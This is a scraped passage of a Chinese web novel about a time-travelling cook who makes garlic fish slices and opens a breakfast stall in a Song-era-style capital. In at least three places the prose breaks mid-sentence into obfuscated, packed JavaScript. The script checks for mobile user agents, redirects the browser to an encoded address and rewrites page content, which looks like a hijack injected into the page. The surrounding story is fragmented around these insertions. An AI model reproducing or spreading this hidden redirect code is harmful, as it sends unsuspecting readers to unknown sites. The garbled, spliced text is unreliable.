蔡老只瞥了她一眼,就端着菜盘绕出了膳房。 膳徒却满眼新奇,在一旁道:“柳娘子,这尾鲜鱼是位老食客付了银子叫咱馆子买的。没点名要什么菜式,只叫蔡老拣拿手的做来。你打算怎么处置?” 若是不限定菜式,那便更好处理。 柳金枝勾唇一笑,道:“不如做一道蒜末鱼片。” 鱼片是种很常见的做法,就像现代很多人爱吃酸菜鱼片一样。 但可惜的是,现代随处可见的酸菜鱼饭馆大多采用预制菜,而并非捉活鱼现宰、现杀、现煮。 再加上这些预制菜也不过是用多种肉类打成沫,做成鱼片形状,当真吃起来,肉质软滑、口感古怪,并不似活鱼肉一般越吃越香,反而越吃,越觉得自个儿只是在吃鱼锅里头的八角、花椒等重口味调料而已。 所以在现代时,她很不喜欢出去下馆子,总是埋头在家里下厨。 预制菜,当真是现代美食爱好者的头等大敌。 柳金枝挑拣了一把重量均匀的菜刀,牢牢握在手中,先将鱼鳞尽数刮干净,再把鱼头切下,单独破成两半。 随后菜刀更换成片刀,把鱼放平,用右手扣住鱼身,在鱼的中心骨上面下刀,一路往下切,片下鱼身上层的肉。 在尾部斩断后,再将鱼翻面,依样画葫芦,就可再度片下鱼身下层的肉。 中间就只剩下鱼骨,也不要浪费,更换砍刀将鱼骨剁碎,放在小碗里备用。 剩下的鱼身肉切去鱼骨,刀口放斜,便能片出一碗切口漂亮整齐的鱼片。 看见这么干脆利落的刀工,膳徒不由惊叹:“娘子好厉害的手上功夫!怕是要三伏三九都苦练不休啊!” 柳金枝谦虚一笑,手腕翻转,在鱼片身上撒入几搓盐、两勺淀粉、三勺料酒、还有些许辛辣芥菜根粉末,用手抓拌均匀,晾在一旁腌制半盏茶时间。 期间,柳金枝提起水桶,往烧的正辣的铁锅内倒入清水,盖上锅盖。 大火猛烧之下,锅内清水很快沸腾。 蹲下来抽去大半柴火,将大火改为小火,她才将腌制好的鱼片依次下锅,慢慢熬煮,待看见雪白的鱼肉内质慢慢变为实白,周遭泛起鱼香,再将之捞起备用。 切记,此处的鱼肉万不可太晚捞出,否则水煮过甚,使肉片口感变老,吃到嘴里就不鲜滑爽嫩了。 好在柳金枝一直盯着火候,捞起的鱼片色泽、熟度都刚刚好。 接下来,就是预备调料的事儿了。 都说吃货应该去宋朝,实在是因为宋朝的各类制作工艺,特别是饮食方面,实在是登峰造极。 北宋时期,宋朝就出现了“素食”,并且独立成为一个菜系。为了给没有肉油煸香的“素食”调味,宋朝膳工们居然用上了植物油—— 花椒油。 于是花椒油就伴随着花椒一同在宋朝风靡,被广泛使用于各类菜肴之中,特别是冬季,御膳工们还会用此来给菜品提味,温中驱寒。 但是此类调味品仍然不能够满足宋朝人的胃口,于是在从陆地吃到河里,再吃到海上之后,北宋人发现有一物名唤海蛎子,也就是现在所说的生蚝,格外鲜美多汁,好吃到让人上瘾。 可野生海蛎子产量不多,又限制于季节,无法叫所有宋朝人都一饱口福。 为了扩大生产,北宋人就开始办起了养殖场,先是以“插竹养蚝”的方式人工饲养,后又大肆开办养蚝厂。 不过当时催办养蚝厂的人肯定想不到,在多年以后,竟然有人能由海蛎子身上提取出一种后世常用的调味品—— 蚝油。 柳金枝现下所处的朝代虽然架空,但时间线偏于宋朝后期,也就是说,蔡氏饭馆的调料罐里早就存了花椒油与蚝油两样。 而掀开罐盖子一瞧,也果真如此。 于是柳金枝取生抽一勺、蚝油一勺、老抽半勺、少量清水并适量花椒油,放置在一只酱料小盏之中,用竹箸搅拌均匀,静置一旁待用。 尔后又洗干净铁锅,塞入柴禾调成大火,猛烈烧枯锅中水分,绕圈淋上芝麻油,将膳房内本就洗净备好的蒜瓣放入锅中,反复煸炒,炸出蒜香。 再用勺子舀出两勺豆瓣酱放入锅内进行调味、调色。 当锅内汤汁逐渐变得鲜红滚辣,就趁热打铁倒入鱼片大幅度翻炒。 热辣辣的锅底将汤汁灼烧的滋滋响,嫩鱼片每被翻炒一次,都能全面滚过锅底,吸饱香辣底汁。 再将早就调好的料汁泼在鱼片身上,持圆头长柄大勺颠锅翻炒。 油落入火中,嘭的蹿出半人高的火舌,直冲屋顶! 膳徒被唬了一大跳,柳金枝却趁此翻锅落勺,利落将蒜末鱼片装盘。 “这膳房里是闹什么动静?怎的外头食客说见着火光冲天?!” 蔡老满头大汗,急急忙忙掀帘子进来。 “柳娘子,你莫将老朽的膳房烧……” 话说到半头,却似卡壳了一般再说不出分毫。 “好香的味道。” 蔡老的眼睛不由盯上柳金枝手里那盘菜,半晌才反应过来,震惊又不可思议。 “这是那条鱼?!” 柳金枝对着蔡老福身,笑道:“借用了贵馆些许调料,但也总算是不辱使命。” 将手中鱼转交给了蔡老。 离得近,这鱼香味儿更是浓郁,蔡老忍不住多闻了两口,只觉得口中生津,比他自己做的更加诱人。 若是把这鱼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458084|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呈给那位相公,他这嘴上也有说辞了。 于是赶忙转出膳房。 饭馆内,一名身着栗色外袍,披玄色大氅的青年男子正与一二友人对坐。 而男子旁边还坐着个年轻郎君,深绿色外袍,生的眉眼如清风朗月,金质玉相,文质彬彬,只是简单端坐在此,这四周都仿佛亮堂了不少。 “我知你来是为着什么。”青年男子满心担忧,“你姐姐自从有孕,就一直饮食不佳。为求她用膳顺遂些,我一直每日都买些她爱吃的带回去。她以前最爱吃蔡老做的鱼,我今日正是为此而来。” 傅霁景点头:“家父、家母也对此颇为忧虑,总叫我过府探望姐姐。今日我与姐姐相见,她却思虑不安,因说太常寺膳堂修缮,姐夫理应归家,但候了许久也不见姐夫身影,就嘱咐我出来寻你。” “嗐,我本是想买好鱼就回去,没成想今日这蔡老手脚这么慢,我等了许久都不见菜影,着实怠慢!” 柴靖脸色难看,眼中隐有怒火。 “许太医早就叮嘱你姐姐,孕中切忌多思,怕她胎动不安。现下都怪我,又招惹你姐姐不好了。” 言罢,再等候不得,直接起身要去膳房催促。 谁知正走到半道,蔡老就已经满脸堆笑地迎了上来,将一只精致食盒递来,口中连连赔罪道: “对不住了柴相公,今日膳房忙乱,耽搁了您的时间,小老儿给您赔罪了。” 柴靖本是不耐,但因心中记挂夫人,也就不与蔡老多搅合,只将这食盒一拿,道: “蔡老如此怠慢,想必这鱼的滋味应当比往日更甚。若我家夫人用的还算欢心,此事就此作罢。但若菜做的敷衍,我少不得要与你多做理论!” 尔后转身就走。 这般行事却叫人意想不到,将蔡老吓的不轻,慌张看向傅霁景。 傅霁景叹了口气,拢袖替柴靖致歉:“蔡老莫慌,我那姐夫性子急躁些,总是喜欢口不择言,惊扰您了。” “那、那这柴相公日后不会真来寻老朽麻烦吧?”蔡老语气惶恐。 “有我姐姐管着,他自然不会。”傅霁景道。 “那老朽便安心了,多谢郎君。”蔡老赶忙叉手下拜。 傅霁景摇摇头,陪同余下的几位太常寺官员一起离开。 款步行至门口时,听见身后蔡老似又庆幸,又似感激地说: “柳娘子,这回当真是多谢你了。来日你在太常寺边支起食摊,老朽必然送来利是红包,贺你生意兴隆!发财利市!” 傅霁景脚步一滞,回眸看去。 像是才从膳房里钻出来,少女一脸热汗,双颊也被蒸得红扑扑的,青丝零散,一小绺一小绺贴在白皙脸侧。可她似毫不在意,只抬起手随意擦去额上汗珠,双眸明亮如镜,红唇一张一合,对着蔡老不知在说些什么,却是眉开眼笑,十分开心的样子。 船上见面时柳金枝一言一行宛若大家闺秀,拘谨有礼的很,此时笑起来,倒像个不谙世事的邻家少女,大胆又充满着生机活力。 傅霁景不由一愣,尔后似是意识到自己犯了“非礼勿视”一戒,连忙转过头,耳尖发红,却再不敢看柳金枝了。 尔后,柳金枝与蔡老正好从蔡氏饭馆走出。 蔡老将一纸红底黑字告示贴于门板之上,笑道:“娘子手艺高超,又不吝出手相助,老朽自当投桃报李。” 柳金枝看向那方告示,只见其上大字书写—— “柳氏食摊,拟定隆兴十一月二十三辰时一刻,于太常寺外街盛大开业!” 11. 馉饳、馄饨 回到柳家旧宅时,柳霄已经将整日购买的东西安置妥当,正坐在烛火底下念书,月牙就乖巧地蹲在他身边玩耍。 只是让柳金枝意料不到的是项志轩居然也在,见着她便叉手下拜,满脸是笑:“柳娘子怎的才回来?倒叫在下好等。” 柳金枝疑惑而笑,道:“不知项郎君因何等奴?” “嗐,全是因着娘子今日一早给在下送的那碗烩面。”项志轩不好意思地挠头,“今日我有一同窗来寻我一同温书,却不想瞧见了娘子那碗烩面,就央告我分他尝了两箸。” “谁知这怪行货子五脏庙里头闹馋虫,尝了以后就不肯罢休,好说歹说又要了我半碗去。” “他吃的起兴,来问我膳工是哪位?要请回家去包私。我道出是位未出阁的年轻娘子,他便不提这话,而给了我这锭银子,央求娘子明日若再做朝食,不拘是什么,好歹给他留一份儿。” 柳金枝打眼一瞧,那锭银子应有一二两重。 现下家里正是愁银子的时候,她自然没有理由不答应。 “既是项郎君同窗的事儿,奴自当应下。”柳金枝微笑,“明个儿奴便做好朝食送到郎君家。” “若是娘子不嫌麻烦,也帮我留一份儿吧,这里是一两银子。”项志轩也递来一两。 可见今日他那位同窗又争又抢的,害得他只吃了半碗烩面,现下嘴里还在发馋。 柳金枝自然也是答应,拢袖收起银子。 这喜得项志轩连连叉手又拜了几拜,这才转回了自个儿房间。 柳霄见柳金枝终于得了空闲,就放下书本,起身去小膳房的蒸笼里取出一个用油纸包好的包裹递给柳金枝。 柳金枝拆开来,发现里头竟装了两个形容完好的炊饼。 这玩意儿武大郎也卖过,现代还衍生出武大郎烧饼,但烧饼是烧饼,炊饼却是馒头。 宋朝市面上,叫“饼”的食品至少有十几种,比如“环饼”是麻花、“索饼”是面条,而“乳饼”竟是奶豆腐。 但是古时候的筛面粉技术并没有现代的好,馒头也不如现代一样属于精细面食,反而有些粗糙剌嗓子。 “这是你专程给我买的?”柳金枝笑问。 “嗯。”柳霄抱起月牙,语气带着愧疚,“你在外面和那些人说话,肯定忙的吃不上饭,我就买了炊饼给你垫垫肚子。本来还有更好的顶皮酥果馅儿饼子,但我银钱不够,只能将就将就了。” “不将就,我就爱吃这个。” 柳金枝笑着摸摸柳霄的头。 还怕柳霄心思敏感不信她,就特意去膳房翻了碟酱瓜出来,将瓜包夹进馒头里,大口大口地吃。 柳霄见她狼吞虎咽,不由一笑:“哪家娘子像阿姐你这般吃相?”一面又给倒了杯清水递过来,“小心,别噎着。” 柳金枝接过清水一饮而尽,抹了一把嘴,笑道:“告诉你们个好消息,我今日已经与饭食行还有蔡老商议好了,明日辰时一刻,咱们柳氏食摊就在太常寺边儿上盛大开业!” “第一日做吃食,必然要一炮打响名气,把名声炒的红红火火,才能从早被挤占的市场中分一杯羹。” “所以第一,咱们得保证朝食味道好吃、种类繁多、价格实惠。我已想好了单子牌面,晚些时候写给你,你背下来,待到明日唱和给食客们听。” “第二,是银钱进账问题,咱们得写个账本,但我对这方面不甚精通,还是只能交与你来做。每日出账、入账都要计算清楚。” “第三,你写字好看,得动笔替咱家写个旗招子。就叫‘柳氏食摊’!上边儿再画个柳叶儿图案,这样就是不识字的,也不会找错地方。” 柳霄自然是点头。 许久不出声的月牙却扯扯柳金枝衣袖,仰着小脸问:“那阿姐,我做什么呢?” 这倒难为柳金枝了,月牙才五六岁,能做什么呢? 她只好笑道:“月牙年纪还小,等再大一些再来帮阿姐好不好?” 谁料月牙一本正经道:“阿姐莫要瞧我年纪小,就以为我帮不上什么忙,我可厉害着呢!” “以前哥哥没银子买书看,就常带我去书斋背书。一篇文章,哥哥背前半篇,我背后半篇,回家后一起默出来,就不用花银子了。” “有时候我背的比哥哥快,还能多默一篇文章出来。” “阿姐你又叫哥哥背单子牌面,又叫他算账、理账、写旗招子,不如叫我来背,我保管一个字都不会错!” 柳金枝倒惊讶月牙有这本事,笑道:“空口白牙可不算数,我当场写一纸出来,你若是在一刻钟之内背会了,我就把这事儿交与你办。” 于是提笔写菜名,满满当当一页纸交给月牙。 月牙接过纸张便低头默背,神色专注认真。 柳金枝抬眸看柳霄,柳霄却笑着对柳金枝点点头,眼眸里满是骄傲和自豪。 看来对自家妹妹背下这页单子牌面胸有成竹。 果不其然,用不了一刻钟的时间,月牙就把单子牌面交还给柳金枝,道:“我已在心中默熟了,这就背与阿姐听。” 言罢,清清嗓子,张口便道:“热粥与汤羹有小米粥、红豆粥、绿豆粥、灌肺、炒肝。面食与点心有包子、饺子、炊饼、糯米团子、荞麦饼……” 等月牙摇头晃脑背完,竟果然是一字不差。 柳金枝高兴地将月牙一把抱起,满心欢喜道:“想不到霄哥儿于算经一途天赋异禀,月牙又有过目不忘之能!咱们柳家人才辈出!” 月牙虽然早慧机敏,但毕竟还有孩童的几分羞涩内向,被柳金枝这么大肆一夸,倒不好意思地脸红起来,连忙扑腾着两条短腿滑溜下来缩到一边了。 柳金枝却不肯放过她,绕着圈儿地要去逗月牙,把个孩子逗的满脸羞红。 柳霄在旁边看她们玩闹,眸中笑意深深。 等到两人闹够了,他才微笑道:“阿姐,你一个人要准备这么多朝食定然忙不过来。卯时的时候我也来与你一同做,你支使我打些下手。” “你既如此说,那阿姐可不与你客气。”柳金枝将一缕青丝挽于耳后,双眸亮晶晶的,“毕竟明日早晨可是有一场硬仗要打的!” 一般食贩卖朝食,差不多都得做十几个扇笼。就说一个扇笼里放十个饼子,那柳金枝也得揉两百多个面团。 这是项大工程,两个人忙活也得好一阵。 所以天还没亮,柳金枝就提着红纸灯笼悄悄掀开暖帘,和柳霄一起钻进了膳房。 作为一个新上任的膳徒,柳霄虽然手艺生疏,但胜在听话,指哪儿打哪儿,做事一丝不苟。 所以揉面之类的精细活儿就全由柳金枝包揽,只一时吩咐柳霄道:“去将灶眼烧起两口。” 又一时说:“去打桶水将这些扇笼刷洗了。” 又一时高声道:“霄哥儿,再拿两个盆来装面团,盖层湿纱布等面性醒满!” 柳霄被支使的团团转,累的汗流浃背,忍不住双手扶住膝盖,停下喘息片刻。 但只是这片刻,左边那口灶眼火就小了。 柳金枝抽空飞快瞟了一眼,催促道:“霄哥儿,赶紧添柴!” 柳霄擦擦汗,费力将柴禾拆开塞入灶眼,脑中却莫名闪过那日柳金枝和月牙的对话: “阿姐的厨艺是向谁学的?” “孙府的膳工们。” “那些膳工们凶吗?” “很凶。” 以前的阿姐连锅都能烧坏,现在对厨艺却好似有十足把握。 也许在当年的孙府膳房内,阿姐也这么被支使过吧? 忙得团团转,却又歇不下来,一边挨骂,一边赔笑,一边却又累得筋疲力尽也不敢停。 阿姐其实过得一点儿也不好。 柳霄抿了抿唇,默默抬眸看向柳金枝。 柳金枝毫无察觉,还在尽力揉面,面色专注认真,那张清丽的脸庞上沁出细密汗珠,顺着流畅的脸蛋线条往下淌,濡湿浅色衣领交叠的脖颈。 “霄哥儿,去给我把擀面杖洗洗。”柳金枝头也不抬。 “……好。” 柳霄抽了抽鼻子,低头站起来去了。 柳金枝瞥了一眼柳霄的背影,似是觉得不对,但又没想出个所以然,就还是低头揉面。 费力将几盆子面都揉完,柳金枝甩了甩酸痛的胳膊,却来不及休息,又预备着做馅料。 今日她预备着做的几样面点,大多都得加馅儿。 考虑到宋朝人口味,她预备拌两盆不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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时至今日,浙南山区的人们还在使用这种方法,可见从古至今,大家都对蘑菇颇为偏爱。 而且买这一袋蘑菇也不贵,约莫二十来文。 柳金枝取了一半野山蕈出来洗净、切碎,接着又起锅烧油,将这些碎野山蕈来回翻炒到菇肉疲软,沁出汁水,就捞出放凉备用。 又把冬笋也洗净切碎,放入滚水中焯到熟,捞起来过凉水。 把两者混合倒入盆中,依照拌“猪肉白菜馅儿”,取盐、蚝油、菜籽油等。但与前者不同的是,野山蕈与冬笋本就都是植物,若全然用植物油,就少了肉类的一丝醇香,于是在此之前,还要额外放一些猪油进去。 如此搅拌均匀,这盆“野山蕈冬笋馅儿”也就好了。 此刻面性也已发满。 柳金枝干脆利落地揪拽了一团拍在面板上,接过柳霄递来的擀面杖,来回擀出一张女子巴掌大小的,四四方方的面皮,却不薄,倒像豆腐千张一样厚。 先是拖在手上,用勺子挖一大勺猪肉白菜的馅料填装进去,然后用手沿着对角线折起来,捏紧边缘,像是一个直角等腰三角形。再把两个角合拢,叠压捏紧。 这样就包成了一个小孩拳头大小的莲花,中间的花苞像含苞待放的骨朵。 这便是宋朝大街小巷都能看得到的平民美食——馉饳。 以现代人的眼光看,宋朝人的馉饳其实就是馄饨,但吃的花样比现代多,既可以煮着吃,也可以用铁签子串成一串,用火烤着吃。 想象一下像吃烧烤一样吃馄饨,就不由觉得好玩又好笑。 柳霄手艺笨拙,不知怎么包,就在旁边默默瞧,时不时给柳金枝擦擦汗。 约莫两刻钟后,柳金枝包好了两百余个,暂时放在笼子里,盖上层纱布放好。 尔后又开始包饺子。 宋朝把馄饨叫成馉饳,却把饺子叫成馄饨。 但不管怎么说,饺子的做法要比馉饳简单多了,不用做那么复杂的莲花造型,只用把封口封的结实漂亮就好。 这时候柳霄终于能帮得上忙,赶紧洗净手,套上襻膊过来,将活计都抢了过去,要包猪肉白菜和野山蕈冬笋的各一百五十个。 柳金枝让给他,自己又去做剩下的吃食。 样样准备齐全时,天边已经亮起半轮朝阳。 柳金枝擦擦汗,挑拣了几样朝食给项志轩和其同窗留下,道:“时辰差不多,咱担着担子走吧。” 柳霄点头,去叫了月牙洗脸刷牙起来,一家三口就租了辆驴车,将膳房里锅炉、扇笼、旗招子、小杌子等等器具都绑好,一路往御街去了。 12. 早市开业 一路行到太常寺对面,柳金枝将项志轩给的银子称出来五钱兑了铜子,便让柳霄将旗招子扬手一抖,高高挂起来。 此时已是卯时左右,街面已有行人来去,对这街面上多出来的一家新食摊亦是有些好奇。 趁此机会,柳金枝直接站上台阶,提高声量道:“诸位!走过路过莫要错过!咱们今日柳氏食摊正式开业,有铜钱开路,封利是红包!” 柳霄为了给柳金枝助声威,找隔壁米粮铺子借了个铜锣,大力敲击:“来来来,瞧一瞧!看一看!有利是红包!” 月牙也跟着出力,来一个人她就给人家鞠一躬,小身板摇摇晃晃,憋红了脸,道:“欢迎欢迎!” 若说有个食摊开业,众人倒没什么稀奇可看,但一听有利是铜子拿,立即就有人凑了过来瞧热闹,结果发现这新食摊还是拖家带口来开业的,做主的似乎还是个年轻漂亮的小娘子,不由觉得新奇。 但不拘是抱着什么想法,人总算是聚拢了一些。 柳金枝清清嗓子,提高音量道: “奴就是柳氏食摊的摊主,诸位大可唤奴一声柳娘子。” “今日在贵宝地开业经营食摊,早上兜售朝食,夜市也卖热菜。” “只要是您叫得上名字的,奴都能设法为您一一做来!寻常人家的饭食,咱家更是准备齐全!” 月牙立马接上话茬,小脸绷得紧紧的,一本正经道:“我们食摊上,冬日里有馉饳、包子、兜子、角子各类面点,还有……” 不愧是过目不忘,月牙一口气流利背出至少三十余种饭食,叫周围人面露惊奇之色,直夸赞: “好乖觉的娃娃!” “倒是没见过这般形式,当真新奇。” 同时,因着昨日蔡老襄助,现下也有人开始想起: “这个柳娘子虽然从未听过,但我昨日见到蔡老门前贴有一张红纸,特意介绍了柳氏食摊。” “蔡老在御街开店几十年,由他介绍的人必然不会有错。” …… 蔡老算是一个活招牌,柳金枝自然不吝惜于蹭蹭蔡老的热度。 于是她再度提高声音,笑道:“奴入食饭行,所拜行老就是蔡老。蔡老言传身教,所以奴摊上所有饮食必然价钱公道,用料实在!” 随后一抖茄袋,露出百十来个铜子。 “今日开业后,还要仰承各位父老乡亲们支持,今日将这利是喜钱洒与诸位,大伙儿一同沾沾喜气!” 便伸手一抓,抛着弧线洒出去,刹那间引起十几双手高举空中争抢。 与此同时,耳边传来几声鞭炮锣鼓齐天响,炸的红纸满天飞。 原来是有两个小子举着竹竿,一边燃放鞭炮,一边跑近,笑着恭贺柳金枝开业大吉。 再抬头一看,对街之处,蔡老站在蔡氏饭馆门前对着柳金枝遥遥叉手一拜。 原来这两个小童是蔡老请来,以鞭炮齐鸣祝柳金枝开业大喜。 柳金枝一笑,便也遥遥对着蔡老福身回礼。 正好众人已弯腰拾取了铜子,念在铜钱开街的面上,在柳氏食摊前面排起了长队。 柳金枝跳下台阶,招呼食客: “您要的炊饼两个,拨鱼儿一碗,承惠十五文!” “馉饳二两,承恵十文,我替您新鲜现煮,您旁边请好!” 柳金枝闪到一边下锅煮馉饳,柳霄则默契的闪身顶上,继续在摊前招揽生意。 月牙人矮个子小,站起来都没食摊高。眼瞧着帮不上什么忙,急得跟什么似的。 好在目前食客众多,又老有人点些个汤汤水水,柳金枝叫月牙去跑去问蔡老借了两套桌椅,摆在食摊旁边,让客人好坐下来慢慢享用。 月牙也就顺理成章的成为了“侍应生”,专管收盘子、洗盘子、擦桌子。 只是目前食摊上生意火爆,客人来了一拨又一拨,给小姑娘忙成了脚不沾地的旋螺。 柳金枝忙碌之余,抽空瞧月牙一眼。 小小的孩子坐在小杌子上埋头洗碗,腰深深弯下去,恨不得把自己也摔进盆里,却来不及休息,因为刚洗完一堆碗,便又有客人吃完,于是赶紧起来收拾桌椅板凳。 柳金枝心中微酸,心里默念: 一定要赚钱!一定要赚钱! 她不愿意月牙过这样的苦日子! 日头渐渐西移,御街人不减少,反而越来越多起来,整条街仿佛复苏了一般,逐渐人声鼎沸。 甚至还可以看见不少着茄紫、绯红、天青等颜色官袍的大人,一个个拉脸怂眉,极其疲惫,面如菜色般从宣德门缓缓走出,仿佛在皇宫中经历了一场饥荒。 有不甚讲究的武将,都顾不得礼数,急急忙冲到一个食摊面前,掏出银子就道:“来三大碗汤饼!” 汤饼就是面。 一口气要三大碗,可见这人要被饿急了眼。 但周围食贩对此见怪不怪,反而打趣着笑道:“卖汤饼的,快些做,当心王将军饿极了晕死在你摊上,到那时可分说不清楚。” 众人一同哄笑。 把个王将军急的大声反驳:“这事儿都过去几年了,你们怎么还笑我?要是叫你们一大清早也饿他个半日,一连饿上十多年,我瞧你们晕不晕。” 众食贩又笑,但都捧了自家兜售的朝食过去请王将军享用,王将军也不与他们生气,一一结过银钱,便埋头大快朵颐。 柳金枝略微疑惑。 当年柳家父母还在时,曾供柳霄念过几年圣贤书,因而柳霄在一旁解释道:“汴京城的高官们都得赶在五更之前去上朝,到辰时方才能散。” 五更是凌晨三点至五点,而辰时是上午七点到九点。 这么一算,宋朝官员每个人得饿着肚子,在皇宫里头像根棍子一样杵最多六个小时! 这要是遇上些血糖不高的官员,几天下来,不知要在皇宫里晕几回。 难怪这群人出来就一副面如菜色的模样。 都是活生生饿出来的。 不过此时就显出将食摊开在御街上的好处了,除却行人以外,这群官员就是最好的客户。 宋朝重文,每个文臣都有丰厚的俸禄。 所以这群人不仅有权,还很有钱! 柳金枝与柳霄对视一眼。 她清了清嗓子,深吸一口气:“卖朝食咯!卖朝食咯!新鲜上好的馉饳!馄饨!拨鱼儿!现场下,现场煮!” 女儿家的声音又清亮又甜美,像是一汪清冽甘美的山泉泼进来,顿时吸引了不少官员的视线。 一部分稍微年轻些的官员不由调转脚步,笑道:“哪儿来的一个新食摊?咱们且去尝尝。” 近前一看,却见食摊上虽然摆放着的都是些寻常饮食,旁边诸多食客吃的却津津有味,时而还有人赞叹: “当真美味!” “柳娘子,再来一碗!” “我也再要一碗!” …… 官员们颇为稀奇。 当真有这么好吃?莫不是这位年轻娘子为了在汴京城站稳脚跟,刻意请来了几个托儿吧? 几人对视一眼。 其中一位面白的清秀青年笑道:“柳……娘子?那些食客要多加一碗的是什么吃食?” 柳金枝对着几人福身,温声道:“回禀几位大人,是馉饳。” “有什么馅儿?” “白菜猪肉馅儿和野山蕈冬笋馅儿。”柳金枝眉眼带笑,清丽姿色晃得人目眩神摇,“不知几位大人喜欢什么馅儿的?” 面对美人洗手作羹汤,饭食好不好吃已经没什么要紧的了。 那青年便笑道:“那就野山蕈冬笋馅儿的,我们这五人一人一碗。” 手腕一翻,拿出一锭一两银子放在摊前。 柳金枝微笑:“是。” 于是利落挑拣了六十个馉饳赶入高汤之中,又请五人在旁边落座。 煮了约莫小一刻钟,几十个馉饳在汤中沉沉浮浮。 一看表皮已经略略发白,就知是熟了。 赶忙用笊篱捞起来,反扣入碗中,再放入葱姜蒜并老抽、酱油等调味,最后浇上一勺浓浓的高汤,热气滚滚冲天,香味儿扑鼻。 等到端上桌时,几人都有些新奇。 “居然这样香。”年轻官员拿起竹箸,“我先来试试。” 夹了一个馉饳咬了一口,眉毛便忍不住一挑。 他人见此,不由笑道:“怎的这幅表情?当真好吃?” 于是纷纷动箸。 没想到这一吃,便停不下来。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458086|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这馅儿虽素,却格外鲜香美味。野山蕈鲜滑爽口,冬笋也清脆鲜香,这擀出来的面皮更是软滑弹牙,劲道的很! 直到把汤底都呼噜呼噜喝完,几人才回过神来。 还以为美人下厨足够赏心悦目也就罢了,没想到这吃食着实好吃。 几人对视一眼,不由为方才的轻视颇为羞愧。便都站起来与柳金枝叉手行了一拜,又多买了好些面点,这才去了。 又卖了约莫两刻,官员们也散的差不多了。 此时却有位锦帽貂裘的俊美大官人,骑着俊俏白马款款过来,身后跟着两三仆从,各自肩上都挑着货物,似是要去哪家送礼。 男人本是目不斜视,但路过柳氏食摊的时候,余光瞥见柳金枝锅中高汤熬的实在醇香浓厚,就停下马来,吩咐身边奴仆去买了碗馄饨。 正好馄饨只剩最后十六个,柳金枝干脆就一块儿煮了递与他,笑道:“多的算奴送的,不多收您的银子,算是给官人您取个六数,愿您六六大顺,心想事成,得贵人垂青。” 柳金枝肚子里多的是吉祥话,又耳聪目明,常挑人希冀之处加以恭祝,所以人缘很好,遇到难处时也有贵人愿意伸手帮一帮她。 果然,柳金枝这话正中男人下怀,便居高临下地瞥了柳金枝一眼,见柳金枝居然还是名容貌清丽的年轻娘子,不免勾唇一笑,声音低沉富有磁性: “那便承娘子吉言。” 言罢又随手掷出一件黑影,柳金枝下意识伸手去接,却不偏不倚,正落在她手心。 打开一看,却正是一两碎银。 男人轻笑道:“娘子嘴甜,这是赏钱。” 尔后叱一声夹紧马腹,信步而去。 “赏钱便有一两,这也太大方了。” 有个外乡食客不由惊叹。 “你不知,那可是潘大官人!”本地食客不屑,“他家中经营许多铺面生意,田宅千亩,奴仆成群。平日里便是挥金如土,赏钱给一两又如何?” 另有食客道:“但这般殷实家底,潘家却至今缺一位主母,全是因为潘大官人一心奉养寡母。如今寡母害病,他现下正打点礼品要亲自去请御医瞧病,也不知能不能请到。” 原来不仅是个富户,还是位孝子,难怪听了她的话便打赏一两银子。 柳金枝看了看手中银子,转手抛给柳霄:“收起来,算是今日进账。” 柳霄也面露微笑,高兴地把银子收了起来。 由于柳金枝成本和人力都有限,所以做的东西不多,还没到午时,就陆陆续续卖的差不多了。 生意比想象中的火爆,算是一个开门红。 月牙迫不及待想要清点今日赚了多少钱,于是一家三口做贼似地窝进食摊里头,围坐在一起,扒拉着手中的铜板一个个数。 一文、两文、三文…… 柳霄拨弄着算盘,最后缓缓停下手,低声道:“如若不算那位官人给的赏钱,今天仅靠我们自己,就挣了四百五十文!” 竟然有四百五十文! 月牙眼睛都瞪大了,嘴巴咧的大大的,难掩激动地扯着柳金枝的袖子:“阿姐!我们挣钱了!我们挣钱了!” 柳金枝也很高兴。 可是柳霄并不怎么激动,而是又拨弄起算盘,扣去了两个数,道:“我们虽然赚得多,但还没扣去成本。算上面钱、炭火钱、调料钱……咱们今天一上午所赚不过一百九十六文。” 平常市民一天净赚是百文左右,他们赚得一百九十六文已经算是不错了。 可是柳金枝的目标不仅仅只有赚得糊口钱。 她想要做夜市,想要将来有自己的铺面开饭馆,甚至于还想开座像樊楼一样的酒楼。 当然,万事开难头,她现在只有一个小小的食摊。 而想把这个小食摊做大做强,她还得重新装修摊子,买更多的桌椅,买好菜,买好肉,请专人帮忙…… 净成本必须得攒下五两银子才行! 如果只靠他们自己挣的,却不知要猴年马月才能攒够十两。 唉。 柳金枝叹了口气,幽幽地想:要是现在能有一大笔钱送上门就好了。 正思钱若渴时,耳边却传来中年妇人一声不可思议的惊呼:“你、你是金枝?!” 13. 黑心娘舅 柳金枝回眸一看,只见对面站着个妇人,约莫四十五岁光景,相貌平平,却打扮的花枝招展,用粉将一张脸揩的死人一样白,却越发衬出她眼尾细纹。 这人哪怕是化成灰了,柳金枝也不会忘了她。 “我当是谁呢。”柳金枝冷笑一声,“原来是舅母啊。” 邓章氏顶着柳金枝冷冽的眼神,又见柳霄、月牙竟然都围簇在她身边,不由讪笑道: 